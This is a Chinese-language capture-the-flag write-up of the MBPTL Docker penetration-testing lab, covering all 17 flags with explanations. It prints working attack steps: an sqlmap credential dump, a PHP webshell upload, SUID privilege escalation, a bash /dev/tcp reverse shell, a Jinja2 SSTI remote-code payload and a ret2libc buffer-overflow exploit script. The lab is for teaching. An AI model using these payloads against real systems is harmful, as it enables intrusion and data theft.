20 min read

MBPTL 完整滲透 Writeup

MBPTL 完整滲透 Writeup
Most Basic Penetration Testing Lab
從環境架設到 17 面旗的完整攻擊鏈紀錄,
每一步拆成三層講:概念(是什麼)→ 為什麼(原理)→ 怎麼做(指令)
Flag 值一律以 Redacted 呈現,不揭露實際值。
https://github.com/bayufedra/MBPTL

0. 靶場概觀與方法論

MBPTL 把一條完整的 kill chain 濃縮成 17 面旗,橫跨 7 個階段:偵察 → Web 列舉 → SQL 注入 → 後滲透/提權 → SOC 鑑識 → 內網橫向移動 → 二進位利用,它的設計價值不在單一漏洞,而在縱深——你必須先深挖唯一的對外入口拿到立足點,再以它為跳板橫向展開到兩個純內網服務。

整個環境由 3 個 Docker 容器組成:

容器 網段 IP 對外埠 角色
mbptl-main 172.23.0.2 80, 8080 對外入口:書店網站 (SQLi) + admin panel (file upload)
mbptl-app 172.23.0.4 5000(內網) Flask 服務,Jinja2 SSTI
mbptl-internal 172.23.0.3 31337(內網) custom binary 服務,buffer overflow

關鍵拓撲:只有 mbptl-main 對外(80/8080),5000 與 31337 沒有對外發布,只能在打下 main 之後、從內網去碰,這就是為什麼 Phase 6/7 必須靠 pivoting。

貫穿全程的方法論(比 flag 本身更值得記):

  1. 偵察優先,行為帶路:每個攻擊點都先觀察它「怎麼回應」,再決定 payload,不預設漏洞類型硬套。
  2. 讀完整回應,不要只 grep flag string:真實滲透沒有 FLAG{} 標記,旗子旁邊的憑證、路徑、結構才是推進的線索。
  3. 假設不符就換角度:檔名、路徑、行為跟預期不同時,環顧目錄/改變觀察方式,而不是硬撞同一面牆。

1. 環境架設

概念

把靶場以 Docker Compose 拉起,三個容器 + 一個自訂 bridge 網路。

為什麼

自架 Docker 靶的好處是隔離、可重置、行為可控。用 Compose 一鍵起,壞了 down -v 清乾淨重來,不會污染主機。

怎麼做

git clone https://github.com/bayufedra/MBPTL
cd MBPTL/mbptl/
docker compose up -d
docker compose ps

確認三個容器都 Up:

NAME             STATUS   PORTS
mbptl-app        Up       5000/tcp
mbptl-internal   Up       31337/tcp
mbptl-main       Up       0.0.0.0:80->80/tcp, 0.0.0.0:8080->8080/tcp, 3306/tcp
踩坑提醒:若 8080 被占(例如同機還跑著別的靶),mbptl-main 會因 port is already allocated 起不來,先 docker ps 找出占用者、docker compose down -v 收掉,或改 .env 換埠。

觀察埠的對外性:mbptl-main 的 80/8080 有 0.0.0.0: 前綴 = 對外; mbptl-app 的 5000、mbptl-internal 的 31337 沒有前綴 = 純內網,這一眼就定義了攻擊順序。

2. 攻擊面地圖

怎麼做

# 對外埠掃描
nmap -sV -p 80,8080 localhost
80/tcp   open  http  Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))

兩個都是 Apache 2.4.4,典型 LAMP,SQLi 大概率 PHP + MySQL。

# 爆 80 的目錄
gobuster dir -u http://localhost:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt -t 40 -q

關鍵發現:/detail.php(帶參數的單筆查詢頁 → SQLi 嫌疑)、/index.php/img//inc/

Phase 1 — 偵察 (Flag 1–3)

Flag 1 — HTML 註解

概念:網頁原始碼裡的 <!-- --> 註解常被開發者遺留敏感資訊。

為什麼:註解不會顯示在渲染後的頁面,開發者容易忘記它仍在原始碼中對任何人可見,這是最基礎的資訊洩漏。

怎麼做:

curl -s http://localhost:80/index.php | grep -iE '<!--|flag'
<!-- MBPTL-1{Redacted} -->

Flag 2 — HTTP Header

概念:伺服器回應的 HTTP header 裡藏 flag(此處是自訂 header X-MBPTL)。

為什麼:HTTP header 是伺服器與客戶端溝通的元資料層,一般使用者不會注意,但對攻擊者是標準偵察面——自訂 header、版本資訊、cookie 都在這。

怎麼做:

curl -s -I http://localhost:80/
X-MBPTL: MBPTL-2{Redacted}

Flag 3 — 替代 Web 服務 (8080)

概念:主服務之外的第二個 web 服務,常被忽略。

為什麼:同一台主機開多個 web 埠是常見架構(前台/後台分離),攻擊者必須枚舉所有埠,次要服務往往防護較弱——這裡 8080 就是後台 admin panel 的入口。

怎麼做:

curl -s http://localhost:8080/ | head -40

首頁是「Under Maintenance」偽裝頁,但 body 裡直接印著:

MBPTL-3{Redacted}
教訓:別只 grep HTML 註解,整頁 body 掃過去——這面旗就在維護頁的可見文字裡,不在註解。

Phase 2 — Web 列舉 (Flag 4)

概念

枚舉出隱藏的管理後台路徑 /administrator/

為什麼

管理面板是高價值目標(通常通往檔案上傳、設定修改),目錄枚舉是 web 滲透的核心步驟——很多入口沒有連結指向,只能靠字典爆破或已知路徑猜測。

怎麼做

curl -s -i http://localhost:8080/administrator/ | head -40

回 200,是一個 Login Page,並發了 PHPSESSID cookie,Flag 印在登入頁 body:

MBPTL-4{Redacted}

這個登入框是後續 Phase 3 的終點:SQLi 撈出的帳密要回來登入這裡(Flag 7),進去才有 file upload,攻擊鏈在此埋下伏筆。

Phase 3 — SQL Injection (Flag 5–7)

Flag 5 — SQLi 漏洞確診

概念:detail.php?id=id 參數未過濾,直接拼進 SQL 查詢。

為什麼:SQL 注入的本質是「資料被當成程式碼執行」,當使用者輸入未經參數化就拼進查詢字串,一個單引號 ' 就能閉合原本的字串、破壞語法,伺服器吐出的錯誤訊息會洩漏後端結構。

怎麼做:

# 正常值(基準)
curl -s "http://localhost:80/detail.php?id=1" | head -30
# 單引號觸發語法錯誤
curl -s "http://localhost:80/detail.php?id=1'" | head -30

單引號那發直接爆:

Error: You have an error in your SQL syntax; ... near '' LIMIT 1' at line 1
MBPTL-5{Redacted}

從錯誤還原後端查詢:... near '' LIMIT 1' 揭露 SQL 大概是 SELECT ... FROM books WHERE id='$id' LIMIT 1,這是字串型注入、單引號閉合、尾隨 LIMIT 1——最好打的 error-based / UNION 場景。

Flag 6 — 用 SQLMap 撈 DB flag

概念:自動化工具把注入點轉為完整資料庫讀取。

為什麼:手工 UNION 注入可行但慢,SQLMap 自動判定注入型別、指紋 DBMS、枚舉庫/表/欄位並 dump——這是階段指定的工具,學會它的工作流是重點。

怎麼做:

# 落庫 + 列所有 database
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch --dbs

SQLMap 確認四種注入型別全中(boolean-based / error-based / time-based / UNION, 5 欄),列出 database,目標庫是 administratorbookstore

# 列 administrator 庫的表
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator --tables

得到兩張表:flagusers,dump flag 表:

sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T flag --dump
+----+-------------------+
| id | flag              |
+----+-------------------+
| 1  | MBPTL-6{Redacted} |
+----+-------------------+

Flag 7 — 撈憑證登入 admin panel

概念:從 users 表 dump 出 admin 帳密,登入 8080 的後台。

為什麼:SQLi 不只讀 flag,更重要的是撈出可重用的憑證,拿到 admin 密碼 = 拿到管理後台 = 通往檔案上傳與 RCE,這是「一個漏洞打開下一扇門」的縱深。

怎麼做:

sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T users --dump

SQLMap 發現密碼是 MD5,順手用內建字典破解:

+----+----------------------------------------------+----------+
| id | password                                     | username |
+----+----------------------------------------------+----------+
| 1  | 8a24367a...(P@ssw0rd!)                        | admin    |
+----+----------------------------------------------+----------+

admin / P@ssw0rd! 登入,Flag 7 印在登入後的 dashboard:

curl -s -c /tmp/mbptl.jar -b /tmp/mbptl.jar -L \
  -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/
MBPTL-7{Redacted}
概念補充:MD5 是無鹽快速雜湊,對字典/彩虹表毫無抵抗力,P@ssw0rd! 這種常見密碼幾秒就破,這暗示了地圖「password cracking」階段——SQLMap 幫你做掉了。

Phase 4 — 後滲透與提權 (Flag 8–9)

上傳 webshell 取得 RCE

概念:admin panel 的「Insert Book」功能有圖片上傳,但未驗證檔案類型/副檔名,可上傳 PHP webshell。

為什麼:file upload 漏洞的核心是「伺服器信任了使用者控制的檔案」,前端的 accept="image/*" 只是瀏覽器提示,對直接構造的 HTTP 請求毫無約束,只要伺服器把 .php 存進 webroot 且 Apache 會解析它,上傳的檔案就變成可執行的後門。

怎麼做:

先看上傳表單結構:

curl -s -b /tmp/mbptl.jar http://localhost:8080/administrator/admin.php | grep -iE '<form|<input|name='

欄位:title / author / description(必填文字)+ image(檔案,accept="image/*")。

構造 webshell 並上傳(偽造 MIME 繞過可能的 content-type 檢查):

echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/mbptl.jar \
  -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

Book inserted successfully! — 上傳成功,但回應不吐落地路徑

定位 webshell 落點(關鍵技巧)

概念:上傳成功 ≠ 知道檔案在哪,伺服器把檔案改名(MD5)並放進非預設目錄。

為什麼:盲目掃 /img/sh.php 全 404,因為(1)檔名被改成雜湊、(2)目錄不是預期的。最快的定位法不是暴力爆破,而是回到列表頁看伺服器怎麼引用你的檔案——書封圖片的 <img src> 會洩漏真實路徑。

怎麼做:

前端上傳一張圖後,回書店頁面查看新書封面的圖片位址,得到:

http://localhost:8080/administrator/uploads/<md5>.php

兩個坑一次揭曉:目錄是 administrator/uploads/、檔名被 MD5 重命名、但副檔名保留 .php → 會被 Apache 當 PHP 執行。

觸發 RCE:

WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Flag 8 — User flag

curl -s "$WS?c=ls+-la+/flag"
curl -s "$WS?c=cat+/flag/user.txt"
---------- 1 root root  43 ... root.txt     ← 權限 000,www-data 讀不到
-rw-rw-r-- 1 root root  43 ... user.txt     ← 可讀
MBPTL-8{Redacted}

Flag 9 — Root flag(SUID 提權)

概念:root.txt 權限為 000,必須提權到 root 才能讀,提權入口是一個仿冒名的 SUID binary。

為什麼:SUID(Set-User-ID)位讓程式以檔案擁有者的身分執行,而非呼叫者,若一個 root 擁有的 SUID 程式能執行 shell,任何人跑它都能取得 root,標準提權偵察第一步就是找 SUID 檔。

怎麼做:

curl -s "$WS?c=find+/+-perm+-4000+-type+f+2>/dev/null"

清單裡混著一個拼錯的名字:

/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
...
/usr/bin/bahs        ← 注意!不是 bash,是 ba**hs**

bahs 是仿 bash 拼反的後門 SUID,確認它:

curl -s "$WS?c=ls+-la+/usr/bin/bahs"
-rwsr-sr-x 1 root root 16784 ... /usr/bin/bahs    ← s 位 = SUID + SGID,屬主 root

它是個 setuid shell,關鍵細節:webshell 是非互動環境,裸跑 bahs 會開 shell 但沒 stdin; 必須用 -c 或管線餵指令:

curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'id; cat /flag/root.txt'"
uid=0(root) gid=0(root) groups=0(root),33(www-data)
MBPTL-9{Redacted}
概念補充:為什麼要 -c?非互動 system() 呼叫下,bahs 起了 shell 卻立即因 EOF 結束(沒有互動 stdin),用 -c 'command' 直接把指令當參數傳,shell 執行完回傳結果——這個「非互動環境用 -c 餵 SUID shell」的細節,後面在提權為互動 shell 時還會再遇到。

Phase 5 — SOC 分析 (Flag 10–12)

概念

以 root 身分讀取系統日誌、命令歷史、shell 設定——這是防守方(SOC)的鑑識視角,反過來對攻擊者是「翻箱倒櫃找殘留資訊」。

為什麼

拿到最高權限後,/root 家目錄、系統 log 是資訊金礦:歷史指令可能洩漏內網結構、密碼、其他服務的存取方式,SOC 階段教你「攻擊者/管理員做過什麼,都寫在 log 裡」。

關鍵坑:非互動 setuid 撐不住

先前用 webshell + bahs -c 直接 grep 這些檔全部空回,但 cat /flag/root.txt 卻成功,差別在:

  • cat /flag/root.txt 是單一短指令,bahs 的 setuid 有效 UID=0 撐得住。
  • timeout 15 grep ... 這種先啟動 timeout(www-data)再 fork grep,euid 掉回 www-data,讀不到 root-only 檔。

解法:彈一個互動 reverse shell,在互動環境裡 bahs 的 setuid 才穩定保持。

建立互動 root shell

# 探工具(這容器只有 bash,沒有 nc/python)
curl -s -G "$WS" --data-urlencode "c=which bash nc python3"
# → 只有 /usr/bin/bash

# 查靶場 network 的 gateway(容器連回 host 用)
docker network inspect mbptl_default | grep -i gateway
# → 172.23.0.1

終端機 A(先開監聽):

nc -lvnp 4444

終端機 B(觸發 bash /dev/tcp 反彈):

curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

進來是 www-data,升級 TTY + 提權:

id                              # www-data
script -qc /bin/bash /dev/null  # 沒 python,用 script 開 PTY
/usr/bin/bahs                   # 互動環境下 setuid 穩定保持
id                              # uid=0(root)

收 Flag 10–12

現在是穩定 root TTY,直接讀:

grep -ra 'MBPTL-1[012]' / 2>/dev/null
/var/log/apache2/access.log:FLAG10='MBPTL-10{Redacted}'
/root/.bash_history:FLAG11='MBPTL-11{Redacted}'
/root/.bashrc:FLAG12='MBPTL-12{Redacted}'
  • Flag 10:Apache access log — 攻擊者的請求全記在這。
  • Flag 11:root 的 .bash_history — 歷史指令。
  • Flag 12:root 的 .bashrc — shell 設定檔的環境變數。

Phase 6 — 網路 Pivoting 與 SSTI (Flag 13–14)

網路偵察:發現內網服務

概念:以被攻陷的 main 容器為跳板,枚舉只在內網存活的服務。

為什麼:5000 與 31337 沒有對外發布,從外部完全看不到,只有站在 main 內部,才能透過 Docker 內建 DNS 或掃網段發現它們,這是橫向移動(pivoting)的核心——「用一個立足點去看見更多的網路」。

怎麼做(在 root shell 內):

cat /etc/hosts                          # main 自己是 172.23.0.2
getent hosts mbptl-app mbptl-internal   # 靠 Docker DNS 解析服務名
172.23.0.4      mbptl-app        ← Flask (5000)
172.23.0.3      mbptl-internal   ← binary (31337)
which curl      → main 有 curl,可直接打 HTTP 服務

Flag 13 — 發現內網 Flask app

概念:透過 main 的 curl 存取內網 5000 服務。

為什麼:一旦確認 main 能路由到 mbptl-app:5000,就能把 main 當代理去打它,不必架 tunnel(因為目標是 HTTP,curl 就夠)。

怎麼做:

curl -s http://mbptl-app:5000/ | head -60
<h1>MBPTL - Internal Web Service</h1>
<p>Hello, World! (/?name=)</p>          ← 注入點就標在臉上:?name=
<p>MBPTL-13{Redacted}</p>

Flag 14 — Jinja2 SSTI (Server-Side Template Injection)

概念:?name= 參數被直接拼進 Jinja2 模板字串,導致模板注入 → RCE。

為什麼:SSTI 的本質跟 SQLi 同源——「使用者輸入被當成程式碼(模板語法)執行」。當後端寫成 render_template_string("...%s..." % user_input),使用者的輸入變成模板的一部分,Jinja2 會渲染其中的 {{ }} 表達式,進而存取 Python 物件、模組,最終 RCE。

怎麼做:

第一步,確認是不是 SSTI —— 送數學表達式看會不會被計算:

curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # {{7*7}}

Hello, 49SSTI 確診(輸入被當 Jinja2 表達式求值)。

第二步,{{config}} 印出 Flask Config 物件,確認是 Jinja2 引擎:

curl -s "http://mbptl-app:5000/?name=%7b%7bconfig%7d%7d"
# → 渲染出完整 <Config {...}> 物件

第三步,升級到 RCE,透過 Jinja2 的物件鏈存取 os 模組執行指令:

curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null; ls -la /').read() }}"
MBPTL-14{Redacted}

漏洞根因(讀 source 確認):

name = request.args.get('name', 'World! (/?name=)')
return render_template_string("""...<p>Hello, %s</p>...""" % name)

致命的是 render_template_string(... % name) —— 先用 % 把使用者輸入拼進模板字串,再交給 Jinja2 渲染,正確寫法應該把 name 當 context 變數傳入(render_template_string(TEMPLATE, name=name)),讓它只當資料、不當模板語法。

payload 拆解:cycler 是 Jinja2 內建物件,.__init__.__globals__ 拿到它所在模組的全域命名空間,裡面能摸到 os 模組,.popen(cmd).read() 執行系統指令並讀回輸出,這是繞過 {{7*7}} 之後標準的 Jinja2 RCE 鏈之一。

Phase 7 — Binary Exploitation (Flag 15–17)

前置:離線靜態分析

後台有顆按鈕 Download Binary for MBPTL Internal Service(/administrator/main),下載的正是 31337 服務的本體,逆向的第一步永遠是靜態分析。

file main
# → ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

not stripped(有符號)+ 動態連結,逆向會很輕鬆,查保護機制:

readelf -l main | grep -iE 'STACK|GNU_RELRO'
readelf -h main | grep Type
# Type: EXEC        → No PIE,位址固定
# GNU_STACK RWE 空  → NX 可能關閉

No PIE + 無 canary = buffer overflow 教科書場景(位址可寫死,無 stack canary 阻擋覆蓋 return address)。

Flag 15 — Binary 內嵌 flag(逆向還原)

概念:flag 以立即數(immediate)形式編譯進程式碼,strings 抓不到完整值。

為什麼:strings 只能抓連續的可見字元,但編譯器把 flag 拆成 8 bytes 一組,用一連串 movabs rax, <8 bytes> 塞進暫存器再寫到堆疊組回來,這些指令之間夾著機器碼(48 89 85 ...),把 flag 字串切斷了。

怎麼做:

strings main | grep MBPTL-15
# → 只看到 "MBPTL-15" 碎片,被機器碼截斷

反組譯 main() 看它怎麼組 flag:

objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
movabs rax, 0x35312d4c5450424d   ; "MBPTL-15" (小端)
mov    [rbp-0x100], rax
movabs rax, 0x313761633462637b   ; "{cb4ca71"
mov    [rbp-0xf8], rax
movabs rax, 0x3861666235313133   ; "3115bfa8"
...

把每個 movabs 的立即數按小端還原、串接,即得完整 flag:

MBPTL-15{Redacted}
教訓:「明明有 flag 卻 grep 不到」→ 大機率是被拆成立即數塞進程式碼,從 movabs 序列還原。

Flag 16 — 連上內網 binary 服務

概念:連到 mbptl-internal:31337,服務 banner 直接吐 Flag 16。

為什麼:31337 是純內網,得從 main(有 pivot 能力)去連,main 沒有 nc/python,但 bash 有 /dev/tcp 偽裝置可以建 TCP 連線。

怎麼做(main root shell 內):

exec 3<>/dev/tcp/mbptl-internal/31337
cat <&3 &
echo "test" >&3
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{Redacted}
[>] Name: [*] Welcome, test!
你的 Kali 若能直接路由到 docker 網段(host 通常可以),也能直接 nc -v 172.23.0.3 31337 拿到同樣的 banner。

Flag 17 — Buffer Overflow (ret2libc)

概念:服務用 gets() 讀 Name,無邊界檢查 → 溢位覆蓋 return address → ret 到 binary 內的 system("/bin/sh")

為什麼:gets() 是永遠不該用的函式——它不限制輸入長度,你要多長給多長,直接淹過堆疊上的緩衝區、蓋掉 saved RBP 與 return address,當程式 ret 時,CPU 跳到我們控制的位址,因為 No PIE(位址固定)、binary 內有 system@plt/bin/sh 字串,我們構造一條 ROP 鏈:pop rdi; ret/bin/sh 位址載入 rdi,再跳 system,等同呼叫 system("/bin/sh")

怎麼做:

反組譯定位溢位點:

objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
lea rax,[rbp-0x80]    ; buffer 在 rbp-0x80
call gets@plt        ; 溢位點

計算 offset:buffer 在 [rbp-0x80] = 128 bytes 到 saved RBP,再 +8 到 return address → offset = 136

蒐集 ROP 元件(No PIE,file offset + 0x400000 = 記憶體位址):

# pop rdi; ret gadget (機器碼 5f c3)
python3 -c "import re; d=open('main','rb').read(); print([hex(m.start()+0x400000) for m in re.finditer(b'\x5f\xc3', d)])"
# → 0x400873

# /bin/sh 字串
strings -t x main | grep /bin/sh    # file 0x898 → 記憶體 0x400898

# system@plt (反組譯裡的 call 位址)
# → 0x400570

exploit(pwntools在 Kali 直連 172.23.0.3:31337):

from pwn import *

p = remote('172.23.0.3', 31337)

POP_RDI = 0x400873   # pop rdi ; ret
BINSH   = 0x400898   # "/bin/sh"
SYSTEM  = 0x400570   # system@plt

payload  = b'A' * 136          # 填滿 buffer 到 return address
payload += p64(POP_RDI)        # ret → pop rdi; ret
payload += p64(BINSH)          # rdi = "/bin/sh"
payload += p64(SYSTEM)         # → system("/bin/sh")

p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()

執行後拿到 shell,讀 flag:

$ id
uid=65534(nobody) gid=65534(nogroup)
$ ls -la
... flag.txt ...          # 注意:沒有 flag17.txt,flag 在 flag.txt
$ cat flag.txt
MBPTL-17{Redacted}
踩坑:預期讀 flag17.txt 卻不存在,ls 後發現 flag 在 flag.txt,再次印證「環顧目錄,別假設檔名」,回顯裡的 ...s\x08@ 正是 gadget 位址 0x400873 洩在 Welcome, %s 中,證明 offset 精準。

附錄 A — 完整 exploit 腳本

A.1 SQLi 撈憑證(Phase 3)

TARGET="http://localhost:80/detail.php?id=1"
sqlmap -u "$TARGET" -p id --batch --dbs
sqlmap -u "$TARGET" -p id --batch -D administrator --tables
sqlmap -u "$TARGET" -p id --batch -D administrator -T flag  --dump   # Flag 6
sqlmap -u "$TARGET" -p id --batch -D administrator -T users --dump   # 憑證 → Flag 7

A.2 Webshell 上傳 + RCE + 提權(Phase 4)

# 登入拿 session
curl -s -c /tmp/j -b /tmp/j -L -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

# 上傳 webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/j -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

# 落點靠前端看 <img src> 定位,得到 <md5>.php
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"                                                        # RCE
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'cat /flag/root.txt'"  # 提權

A.3 Reverse shell(Phase 5 前置)

# 監聽端(Kali 終端機 A)
nc -lvnp 4444

# 觸發端(透過 webshell,GW = docker network gateway)
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

# 進來後:script -qc /bin/bash /dev/null → /usr/bin/bahs → uid=0

A.4 SSTI RCE(Phase 6)

# 確認
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # → 49
# RCE
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null').read() }}"

A.5 Buffer Overflow(Phase 7)

from pwn import *
p = remote('172.23.0.3', 31337)
payload  = b'A'*136 + p64(0x400873) + p64(0x400898) + p64(0x400570)
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()   # cat flag.txt

附錄 B — 踩過的坑與教訓

這些是打這台靶時真實卡住、然後突破的點,比 flag 本身更值得記住:

# 卡點 為什麼卡 突破
1 webshell 上傳成功但掃不到 檔名被 MD5 改、目錄非預設 前端上傳後回列表頁看 <img src> 洩漏路徑
2 bahs -c 'cat root.txt' 成功但 grep 全空 非互動 + timeout fork 打斷 setuid 鏈 彈互動 reverse shell,setuid 才穩定保持
3 reverse shell 彈了沒回來 用錯 gateway IP(自訂 network 不是 172.17.0.1) docker network inspect 查真實 gateway(172.23.0.1)
4 Flag 15 grep 不到 flag 被拆成 movabs 立即數編進程式碼 從反組譯的 movabs 序列小端還原
5 預期 flag17.txt 不存在 檔名跟地圖假設不同 ls 環顧目錄,flag 在 flag.txt

這台靶的完整攻擊鏈一句話總結

對外 SQLi 撈出 admin 憑證 → 登入後台上傳 webshell 拿 www-data RCE → 仿名 SUID bahs 提權 root → 讀日誌完成 SOC 鑑識 → 以 main 為跳板橫向移動,對內網 Flask 打 Jinja2 SSTI、對內網 binary 打 ret2libc buffer overflow → 17 面旗收官。

Writeup 完 — 17/17,理解原理,勝過收集旗子。